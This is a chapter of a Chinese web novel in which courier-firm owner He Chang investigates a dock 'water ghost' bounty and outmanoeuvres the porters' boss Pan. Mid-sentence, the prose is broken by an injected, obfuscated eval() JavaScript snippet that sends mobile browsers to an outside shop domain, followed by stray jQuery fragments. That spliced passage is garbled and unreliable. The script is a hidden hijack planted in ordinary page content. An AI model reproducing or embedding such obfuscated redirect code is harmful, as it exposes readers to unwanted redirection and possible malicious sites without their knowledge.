李五和吴海挤进人群在前面开道，和畅就游进这一小节缝隙里，游了两步，她看清了告示的内容：捉到水鬼者，赏银一百两，揭告即应，追责到底。落款是马平。
周围人嘀嘀咕咕：“抓水鬼这活应该找道士和尚啊，在这贴悬赏有什么用？”
有人回：“你以为没找过？一年多了，找的道士和尚能有一打，一个能打的都没有！”
和畅上一次来码头，也听到有人说水鬼的事，不知道是不是同一件，她问刚刚说话的：“这位大哥，水鬼这事，是怎么个说法？”
说话人看她：“姑娘面生，不是本地人吧？我跟你说，这事文州城都知道。传说，江面起大雾的时候，过路的商船能听到歌声，琵琶笛子什么都有，还有美人唱曲儿，雾里还能看到跳舞的人影。那歌唱得，人心痒痒！”
和畅抬手打断他逐渐飘远的眼神：“既然都在船上，那船长什么样？”
那人一噎：“我哪知道？我又没见过。”
吴海：“你没见过你说得这么真。”
那人急了：“听说！听说懂不懂！”
另有一个人插嘴：“大家伙都是听说，上了船的，没听说有活下来的。里面情形如何，谁也不知道。只有过路的船远远望过，说是一个二层画舫，挂着红灯笼。”
先前那人接话：“可不是嘛？有这个水鬼一年来，商船都不敢往文州来，今年比往年少了一大截，马行头可不得着急上火吗？”
和畅看向告示，潘行头想分马行头手上的订单，马行头痛恨水鬼。道士和尚找不到，说明这水鬼应该是人，抓人，她是本色当行。如果能解决水鬼，马行头就欠她一个大人情，到时候潘行头还能压制她？
告示底下站着一个年轻的汉子，正吆喝众人：“有本事的就揭榜，我们行头说到做到，一百两银子当场兑现！”
和畅便问：“马行头真这么重视？”
汉子抱臂：“你要能抓上来，我们行头跟你拜把子，我叫你一声二哥！”
和畅心里有了底，她不再看告示，默默退出人群。吴海李五还盯着告示，见她往外走，困惑地跟上来。
吴海向她做口型：“不揭榜？”
和畅极轻微地摇头，也做口型：“先出去。”
几人退出人群，忽然听得一阵马蹄声响，还有官兵开道：“让一让！都让一让！”
和畅寻声望去，宁潜的马车正驶出城门，车轮的速度减慢。车帘挑开半幅，宁潜的目光越过人群，准确地落在她身上，沉静地望着她，唇角微微动了一下。
和畅收回视线，对吴海李五道：“走，我们先回去。”
吴海看着宁潜的马车，欲言又止。等出了码头，他才赶上来问：“刚刚宁大人在，怎么不找他？”
李五语重心长：“这么多人都看着，我们凑上去像什么话？”
和畅没说话，闷头往前走。她心里清楚，不找宁潜，一半是理智。码头上的事，掺进官府只会更复杂，但另一半，她自己也不太愿意细想。
她加快脚步，把宁潜挑帘那一瞬的目光从脑子里甩出去，还是先收拾潘行头要紧。
和畅回到宅子，等到午饭时分，瘦猴和孙芳就回来了。
瘦猴率先汇报：“潘行头在文州扎根七年，原先有一把子好力气，待人又和善，遇到吃不起饭的他都会接济，人人都说他义气，就这样做起来了。他老婆孩子都在尚武县，有田有房，靠收租子过得不错。他自己过得很俭省，一家人全靠着他吃饭。”
孙芳补充道：“听说他这两年很缺钱，经常找借口多扣手下人的钱，这些钱全进了他自己的口袋。”
和畅问：“知道他为什么缺钱吗？”
孙芳想了想：“前年尚武县发大水，淹了好多地，他家的地被淹得不少。”
瘦猴继续说：“他家里时不时喊人进城来要钱，可能是缺钱用，他这两年脾气特别不好，动不动就骂人，有时候还会上手打人。他这个人还特别讲规矩，什么三从四德的，反正毛病多得很。”
和畅闻言笑了：“如此一来，他手下人对他怨气肯定很大。”
她对孙芳说：“你去买两包点心一坛酒，下晌我去会会这个潘行头。”
曹叶从屋子里出来，哼哼唧唧：“这件事直接报告官府呗，管他什么潘行头张行头。”
和畅反问他：“你有一个小伙伴是孩子王，他带人欺负了你。其他小孩都看着，你怎么办？”
曹叶不假思索：“找大人呗。”
“那其他小孩后面是不是不跟你玩了？”和畅提醒他。
曹叶笑容消失，低头嘟囔：“不和我玩就不和我玩呗。”
和畅说：“可是大人要挣钱，你今天解决了潘行头，明天就会有张行头。现在文州城所有脚夫都在看。要是我们直接跟潘行头硬碰硬，或者叫官府，以后我们在文州城就是其他脚夫的眼中钉肉中刺了。至少你得让其他脚夫知道，我们跟他们都是一样的。”
曹叶若有所思，和畅看他这样，忍不住逗他：“好记性不如烂笔头，你把今天学会的道理写下来日日诵读，终有一天会明白的。”
曹叶真进房间里去拿纸笔。
……
和畅带着瘦猴和吴海走进武当巷，靠墙根一溜烟一群脚夫，或蹲或坐。瘦猴认出了其中好几个就是堵他们路的，向和畅使了个眼色。
和畅迎着他们的视线往前走，一个人站起来用扁担拦住他们：“你找谁？”
和畅道：“找潘行头。”
那人看了看瘦猴手上拎着的点心和吴海拿着的酒，瓮声瓮气道：“等一等。”
和畅没理会，直接走到潘行头家门口，叩三下门。
没人应。
和畅问：“潘行头在吗？我是云通物流的掌柜，找你有事。”
门内还是没人出声，但和畅听到张山往门口走的脚步声。明白潘行头这是要给她下马威。
她退后一步，让瘦猴和吴海站到门两边，她则是站在两人身后。
等了快一炷香的功夫，门才打开，张山被吴海挡着视线，好奇地向后找和畅，吴海瞪他一眼，他立马收回眼神。
潘行头慢悠悠从屋里踱出来，还打了个哈欠，像是刚睡醒午觉。他轻蔑地看向门口，结果一个八尺壮汉和一个猴精都盯着他看，盯得他心里有些毛毛的。
他看向墙角的扁担，警惕道：“你们是谁？”
两人这才默契地往两边走，给出和畅通过的身位。
和畅信步走到院内，不卑不亢道：“潘行头，久仰大名。我是云通物流的掌柜，你叫我和掌柜就行。”
潘行头走到院子里的椅子上，也不请她坐：“小姑娘，今天什么风把你吹来了？你那铺子改行给我送礼了？”
门口几个脚夫嘿嘿笑，张山直接把门关上了。
和畅示意二人把点心和酒放到潘行头面前的石桌上，语气平淡：“前阵子手下人不懂事，得罪了潘行头，今天来赔个不是。”
潘行头瞥了一眼那包点心，又看了看酒坛，东西都是不错的，他都未必舍得买，但他嘴上还是说：“和娘子，懂不懂规矩啊？赔罪就送这点东西？”
说着，他又右手握拳敲敲石桌：“再说了，这文州城的力工，一向都是拜我潘行头，你不来找我拜码头，还一声不吭就抢我生意，谁教你这样做事的？”
和畅打量着他屋内的陈设，一切家具都是旧的，刚过了晌午，灶屋却一点残留的烟火气都没有，看来日子过得随便。
见她不回话还东张西望，潘行头更生气，声音拔高了些：“文州城不是谁都能混的。你一个女人家，抛头露面跟男人混在一起送货，像什么话？”
和畅不请自坐：“所以我是掌柜啊，我指挥他们去送货。”
不等潘掌柜教训她，她立刻道：“我初来乍到，不懂文州城的规矩。今日前来，一是赔罪，二是想跟潘行头讨教讨教，文州城的生意到底怎么做？”
潘行头脸色稍缓，重新坐下：“这番话说得还算乖觉。那我就给你赐教，这文州城最要紧的生意，就是码头的生意。”
正当和畅准备认真听他要放什么屁，他突然来了一句：“你们铺子里有多少人，全是土匪吗？”
和畅问答二选一：“全是。”
潘行头眼珠子滴溜溜转：“妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802098|207087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子，哥有个大生意，你做不做？”
和畅假装感兴趣道：“多大的生意？”
潘行头见她上钩，便说：“刚刚我说了，文州最大的生意就是码头的生意，一日往来商船少说也有成百艘，光脚钱就有数千贯。谁要是能去码头分一杯羹，一辈子也就吃喝不愁了。”
和畅激动地点点头：“那怎么去码头分钱？”
潘行头看她这样，心里冷笑道，她以为马平是什么良善人？码头的钱能是那么好分的？真是愚蠢又自大。不过他知道云通物流背后有人，看他们两败俱伤正是他的目的。
于是他也来了耐心：“码头大大小小的行头有十几个，但势力最大的是一个叫马平的。他仗着有亲戚当官，整个跃金码头都由他派活。谁要想去码头扛货，都得看他眼色。”
他说到马平的语气非常不善，显然是结了梁子。
和畅点点头：“那潘行头的意思是，我们去求马行头？”
“不是求，是抢！”潘行头大手一挥：“你有官府的关系，手上少说也有几十号人吧？我有三十来号弟兄，咱俩联手，还怕他一个马平不成？”
他说完往椅背上一靠，下巴微扬，等着和畅露出感激涕零的表情。
和畅提醒道：“聚众斗殴会被官府抓起来的。”
“谁让你打群架了！”潘行头急得拍桌子，看她的眼神像看蠢货：“我们手上有人，有人就能和马平谈。”
和畅装傻：“谈什么？”
“谈生意！谈订单！”潘行头站起来，在院子里来回踱步，一边说一边用手比划，像是给新入行的脚夫训话：“你一个姑娘家家，就是不懂规矩。”
“文州这地界，办事要讲门道。随随便便就想赚钱，哪有这么便宜的事？你得求人！求人就得有求人的样子！你见过谁求人是站着说话的？”
“你得低头，得送礼，得说软话，这就叫规矩！”
他在“规矩”两个字上加重了语气，停下来看着和畅，像是在等她点头受教。
和畅就坐在那里静静看他表演，面上还是一副乖乖听课的好学生模样。
潘行头以为他被唬住了，更加来劲：“马平那个老东西，仗着跟官府有交情，霸着码头不放。外人来求他，他理都不理。但我潘行头在文州七年，也算是有头有脸的人物，我卖你这个面子，让你去跟马平说几句话，怎么样？”
他重新坐下，翘起二郎腿，拔掉酒塞：“我要是自己去，马平肯定会分给我。但是大家都是兄弟，我哪好意思开这个口？你去说两句话，就能得二成的利，已经是得了天大的好处了！”
他抓起酒坛就往嘴里倒，靠着椅背，等和畅感激涕零。
和畅问：“那我该怎么和马行头说？”
潘行头不耐烦地摆摆手：“你自己动动脑子，别什么都问我！我能给你约时间就不错了，你总不能什么都不干不是？”
他的语气带着施舍：“到时候拿下码头的单子，你们也能不少。听哥一句劝，你干完这单就找个男人嫁了，在家相夫教子多好？何必天天跟一帮大老粗混在一起？”
潘行头啧了声，酒臭飘散，吴海和瘦猴狂翻白眼，张山干脆背过身去。
“你别怪哥说话直，这都是经验，这世道，就是这个样。”
和畅没理会她那一番长篇大论：“如果我去和马行头谈，潘行头是不是该让那些堵路的脚夫回家去？”
潘行头灌了口酒：“我那是让兄弟们教你规矩，你学会了，他们就回来了。”
有这句话就够了，和畅站起身：“多谢潘行头，我先告辞了。”
“到时候，我让人告诉你，嗝，什么时候去找马平！”
和畅随口应了句，带着吴海和瘦猴走出房门。
回到宅子，她向吴海说：“明天起恢复部分送货，只送老主顾的，专挑人多的地方走。让城里其他帮派以为我们已经和尚武帮和解了。”
又吩咐瘦猴：“潘行头要价八成的消息，你散播到尚武帮去，我倒要看看，他的钱还能不能拿得稳。”
两人均是答应，说完，响起几声敲门声，何东道：“和掌柜，你在吗？”